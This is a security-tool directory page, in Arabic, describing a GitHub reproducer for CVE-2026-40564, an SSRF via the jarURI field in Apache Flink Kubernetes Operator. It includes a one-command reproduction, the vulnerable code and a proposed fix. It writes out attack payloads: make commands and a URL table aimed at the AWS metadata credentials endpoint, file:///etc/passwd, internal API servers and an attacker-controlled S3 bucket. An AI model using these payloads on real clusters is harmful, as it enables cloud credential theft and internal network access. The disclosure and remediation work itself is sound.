Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-40564 — CVE-2026-40564: SSRF عبر FlinkSessionJob jarURI في apache/flink-kubernetes-operator. مُعيد إنتاج مستقل بذاته يعمل على عنقود kind محلي بأمر make واحد. | Kitploit
أدوات/GitHubGitHub/oscerd/cve-2026-40564
أمن الحاوياتتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقأمن السحابة
GitHuboscerd/cve-2026-40564

CVE-2026-40564

CVE-2026-40564: SSRF عبر FlinkSessionJob jarURI في apache/flink-kubernetes-operator. مُعيد إنتاج مستقل بذاته يعمل على عنقود kind محلي بأمر make واحد.

عرض المستودع
منذ 2 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-40564: SSRF عبر FlinkSessionJob.spec.job.jarURI في flink-kubernetes-operator

لا يتحقق مشغّل Apache Flink Kubernetes Operator من الحقل spec.job.jarURI في موارد FlinkSessionJob (أو FlinkDeployment). يمكن لأي شخص قادر على إنشاء أحد هذه الموارد ضبط jarURI على أي عنوان URL. عندما يوائم المشغّل المورد، فإنه يجلب ذلك العنوان من داخل الـ pod الخاص به. يمكن أن يكون المخطط http أو https أو file أو أيًا من إضافات أنظمة الملفات التي يأتي بها Flink، لذا يمكن للطلب أن يذهب إلى أي مكان تقريبًا يصل إليه pod المشغّل.

  • CVE: CVE-2026-40564
  • الإصدارات المتأثرة: flink-kubernetes-operator 1.14.0، وmain (1.15-SNAPSHOT اعتبارًا من 2026-04-09)
  • أُبلغ عنه إلى [email protected] و[email protected] في 2026-04-09
  • سلسلة الاستدعاءات: SessionJobReconciler.deploy -> submitJobToSessionCluster -> uploadJar -> ArtifactManager.fetch -> HttpArtifactFetcher.fetch

تشغيله

root@kitploit:~
make verify

يشغّل هذا خمس خطوات بالترتيب:

  1. إنشاء مجموعة kind محلية
  2. تثبيت المشغّل (1.14.0) باستخدام Helm
  3. بدء مجموعة جلسات Flink والانتظار حتى يظهر JobManager الخاص بها
  4. طلب عنوان URL جديد من webhook.site، ثم تطبيق FlinkSessionJob يشير jarURI فيه إلى ذلك العنوان
  5. استطلاع webhook.site وطباعة الطلبات التي تلقّاها

عندما يعمل الأمر بنجاح، تبدو نهاية التشغيل بهذا الشكل:

root@kitploit:~
==> [5/5] verify-ssrf
    target jarURI: https://webhook.site/<uuid>/exploit.jar
    target is webhook.site, confirming via its REST API...

    === webhook.site captured requests (newest first) ===
      2026-05-28 17:35:29  GET https://webhook.site/<uuid>/exploit.jar
        User-Agent: Java/17.0.17
        Source IP:  82.51.158.62

    CVE-2026-40564 CONFIRMED: the operator pod issued an HTTP GET against the attacker URL.
    Dashboard: https://webhook.site/#!/view/<uuid>

يستغرق التشغيل الأول حوالي 6 إلى 8 دقائق. معظم ذلك الوقت يُستهلك في سحب صورة flink:1.17، التي يبلغ حجمها حوالي 700 ميغابايت. أما عمليات التشغيل اللاحقة فتقترب من 3 دقائق.

ما ستحتاجه

docker وkind وkubectl 1.23 أو أحدث وhelm 3 وmake وcurl وjq. يجب أن تتصل المجموعة بالإنترنت حتى تتمكن من التواصل مع webhook.site.

توجيهه إلى عنوان URL مختلف

افتراضيًا، يلتقط ملف Makefile عنوان webhook.site جديدًا لك. لإرسال الطلب إلى مكان آخر، اضبط SSRF_URL على قيمة jarURI الكاملة التي تريدها. سيُستخدم العنوان كما هو مكتوب.

root@kitploit:~
# reuse a specific webhook.site URL
make verify SSRF_URL=https://webhook.site/8a2f1e3c-aaaa-bbbb-cccc-dddddddddddd/exploit.jar

# your own collaborator (Burp, interactsh, a netcat listener, and so on)
make verify SSRF_URL=https://abc123.oast.fun/exploit.jar

# the AWS instance metadata service
make verify SSRF_URL=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# a non-http scheme handled by Flink's filesystem layer
make verify SSRF_URL=file:///etc/passwd

تعتمد طريقة تأكيد الفحص للنتيجة على الهدف. إذا كان العنوان على webhook.site، يقرأ ملف Makefile واجهة REST API الخاصة به ويطبع الطلبات الملتقطة. بالنسبة لأي هدف آخر، يقرأ سجل المشغّل ويبحث عن إطار الاستدعاء HttpArtifactFetcher.fetch، وهو ما يُظهر أن عملية الجلب تمت. يعمل WEBHOOK_URL أيضًا ويعني نفس معنى SSRF_URL.

التنظيف

root@kitploit:~
make cleanup

يزيل هذا الأمر مجموعة kind. لا يُترك أي أثر خلفه.

لماذا يحدث ذلك

هناك ثلاث فئات متورطة في الأمر، ولا تفحص أي منها المخطط أو المضيف أو عنوان IP في jarURI.

تتحقق DefaultValidator.validateJobSpec من التوازي (parallelism)، ووضع الترقية، وإعدادات savepoint، وشكل الموارد. ولا تقرأ job.getJarURI() أبدًا:

root@kitploit:~
private Optional<String> validateJobSpec(
        JobSpec job, @Nullable TaskManagerSpec tm, Map<String, String> confMap) {
    if (job == null) return Optional.empty();
    Configuration configuration = Configuration.fromMap(confMap);
    // ... parallelism / upgradeMode / savepoint / resource checks ...
    // job.getJarURI() is never inspected.
    return Optional.empty();
}

تختار ArtifactManager.fetch أداة جلب (fetcher) بناءً على المخطط. لا توجد قائمة مسموح بها (allowlist)، وأي شيء ليس http أو https يُمرَّر إلى طبقة نظام ملفات Flink:

root@kitploit:~
public File fetch(String jarURI, Configuration flinkConfiguration, String targetDirStr) throws Exception {
    URI uri = new URI(jarURI);
    if ("http".equals(uri.getScheme()) || "https".equals(uri.getScheme())) {
        return HttpArtifactFetcher.INSTANCE.fetch(jarURI, flinkConfiguration, targetDir);
    } else {
        return FileSystemBasedArtifactFetcher.INSTANCE.fetch(jarURI, flinkConfiguration, targetDir);
    }
}

تفتح HttpArtifactFetcher.fetch العنوان كما هو مُعطى. لا يوجد فحص للمضيف، ولا فحص لنطاق عناوين IP، ولا شيء يمنعها من الوصول إلى عناوين loopback أو link-local:

root@kitploit:~
public File fetch(String uri, Configuration flinkConfiguration, File targetDir) throws Exception {
    URL url = new URL(uri);
    HttpURLConnection conn = (HttpURLConnection) url.openConnection();
    conn.setRequestMethod("GET");
    File targetFile = new File(targetDir, FilenameUtils.getName(url.getPath()));
    try (var inputStream = conn.getInputStream()) {
        FileUtils.copyToFile(inputStream, targetFile);
    }
    return targetFile;
}

ما الذي يحصل عليه المهاجم

يعمل المشغّل عادةً بصلاحيات RBAC واسعة. يمنح مخطط Helm الرسمي صلاحية * على عدة أنواع من الموارد، بما في ذلك الأسرار (secrets)، ويمكن للـ pod عادةً الوصول إلى الشبكة دون قيود. إذا استطعت جعله يرسل طلبات بالنيابة عنك، يمكنك:

  • قراءة خدمات بيانات التعريف السحابية (AWS وGCE وAzure) وسحب بيانات اعتماد IAM المرتبطة بعقدة المشغّل
  • الوصول إلى الخدمات داخل المجموعة التي تستمع على الشبكة الداخلية فقط، أو التي تثق بعنوان IP المصدر للمشغّل
  • فحص المنافذ الداخلية بشكل أعمى، وقراءة النتيجة من رسالة الخطأ في حالة FlinkSessionJob
  • استخدام مخططات أنظمة ملفات Flink مثل file أو s3 أو hdfs أو gs أو أي مخطط آخر لقراءة ملفات محلية أو التواصل مع تخزين يمكن للمشغّل الوصول إليه بينما لا يمكنك أنت ذلك

في مجموعة مشتركة تستخدم فيها عدة فرق نفس المشغّل، يمكن لأيٍّ منها استخدامه للوصول إلى موارد فريق آخر.

عناوين URL أخرى تعمل

يستخدم مُعيد إنتاج الثغرة webhook.site افتراضيًا، لكن الثغرة لا تهتم بالعنوان مهما كان. اضبط SSRF_URL، أو عدّل manifests/vulnerable-sessionjob.yaml، على أيٍّ من هذه القيم:

jarURI

إصلاحها

أضف فحصًا إلى DefaultValidator.validateJobSpec:

root@kitploit:~
if (job.getJarURI() != null) {
    Optional<String> uriError = validateJarURI(job.getJarURI(), configuration);
    if (uriError.isPresent()) return uriError;
}
root@kitploit:~
private Optional<String> validateJarURI(String jarURI, Configuration conf) {
    URI uri;
    try {
        uri = new URI(jarURI);
    } catch (URISyntaxException e) {
        return Optional.of("jarURI is not a valid URI: " + e.getMessage());
    }
    String scheme = uri.getScheme();
    if (scheme == null) return Optional.of("jarURI must include a scheme");

    Set<String> allowed = conf.get(KubernetesOperatorConfigOptions.JAR_URI_ALLOWED_SCHEMES);
    if (!allowed.contains(scheme.toLowerCase(Locale.ROOT))) {
        return Optional.of("jarURI scheme '" + scheme + "' is not in the allowlist");
    }
    if ("http".equalsIgnoreCase(scheme) || "https".equalsIgnoreCase(scheme)) {
        InetAddress addr;
        try {
            addr = InetAddress.getByName(uri.getHost());
        } catch (UnknownHostException e) {
            return Optional.of("jarURI host cannot be resolved");
        }
        if (addr.isLoopbackAddress() || addr.isLinkLocalAddress()
                || addr.isSiteLocalAddress() || addr.isAnyLocalAddress()) {
            return Optional.of("jarURI host points to a restricted address");
        }
    }
    return Optional.empty();
}

امنح KubernetesOperatorConfigOptions.JAR_URI_ALLOWED_SCHEMES قيمة افتراضية هي Set.of("https"). ويمكن للمشغّلين الذين يحتاجون s3 أو أي مخطط آخر إضافته.

أمران آخران يستحقان التنفيذ:

  • أضف NetworkPolicy لـ pod المشغّل تحجب الاتصال الصادر (egress) إلى عناوين link-local (169.254.0.0/16) وloopback وعناوين بيانات التعريف السحابية المعروفة.
  • على AWS، فعِّل IMDSv2. عندها حتى SSRF يعمل لا يمكنه قراءة خدمة بيانات التعريف دون رمز جلسة (session token)، ولا يوجد لدى المشغّل أي سبب لإرسال واحد.

ملاحظات

يتفادى ملف Makefile مشكلتين تعطّلان kind على Linux. يعمل كل فحص فقط عند وجود المشكلة فعلًا، لذا من الآمن تشغيله مرة أخرى.

  1. توجيه CoreDNS إلى loopback. مع systemd-resolved، يشير /etc/resolv.conf الخاص بعقدة kind إلى 127.0.0.1، لذا تحلّ المجموعة الأسماء الخارجية على localhost. تعيد خطوة cluster-up كتابة إعداد CoreDNS لتوجيه الاستعلامات إلى 1.1.1.1 و8.8.8.8.
  2. وراثة pod المشغّل لنطاقات بحث DNS الخاصة بالمضيف. مع ضبط ndots على 5، يُضاف إلى اسم مثل webhook.site نطاقات بحث المضيف أولًا، ويجيب بعض مزوّدي خدمة الإنترنت بـ 127.0.0.1 عن النطاقات الفرعية التي لا يعرفونها. تمنح خطوة install-operator pod المشغّل dnsConfig خاصًا به لمنع حدوث ذلك.

إذا فشل تشغيل كامل في منتصفه، يمكنك تشغيل make verify-ssrf بمفرده. يقرأ jarURI من FlinkSessionJob المباشر، لذا لا يعتمد على أي شيء محفوظ محليًا.

تنزيل الأداة
يصل إلى
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>AWS IMDSv1، بيانات اعتماد IAM لعقدة pod المشغّل
http://10.0.0.1:6443/apiخادم apiserver داخل المجموعة، أو أي نقطة نهاية داخلية تسمح بعنوان IP الخاص بالمشغّل
file:///etc/passwdنظام الملفات الخاص بـ pod المشغّل نفسه، عبر فرع أداة الجلب المبنية على نظام الملفات
s3://attacker-bucket/x.jarS3، باستخدام بيانات اعتماد pod المشغّل